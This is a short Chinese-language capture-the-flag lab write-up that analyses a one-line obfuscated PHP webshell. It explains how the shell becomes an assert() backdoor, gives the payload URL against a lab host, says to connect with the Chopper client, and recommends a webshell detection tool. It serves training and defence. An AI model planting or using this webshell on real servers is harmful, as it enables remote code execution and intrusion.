WebShell代码分析溯源(一)
一、一句话变形马样本
<?php $_GET['POST']($_POST['GET']);?>
二、代码分析
1、调整代码格式
<?php
$_GET['POST']($_POST['GET']);
?>
2、分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <?php assert($_POST['GET']);?>
注:不能使用eval,eval与assert的区别:
eval函数中参数是字符,eval并不支持可变变量形式
assert函数中参数为表达式 (或者为函数)
参考:
https://www.anquanke.com/post/id/173201/
https://blog.csdn.net/whatday/article/details/59168605
三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe
2、代码环境,下载代码
3、找到webshell代码处,然后分析(上面已经分析过了)
4、构造payload,然后使用菜刀连接
Payload: http://219.153.49.228:49785/www/cn-right.php?POST=assert
四、后记
学习常用webshell扫描检测查杀工具---WebShellKillerTool (深信服webshell扫描检测引擎),网址: http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
使用深信服WebShellKillerTool进行webshell查杀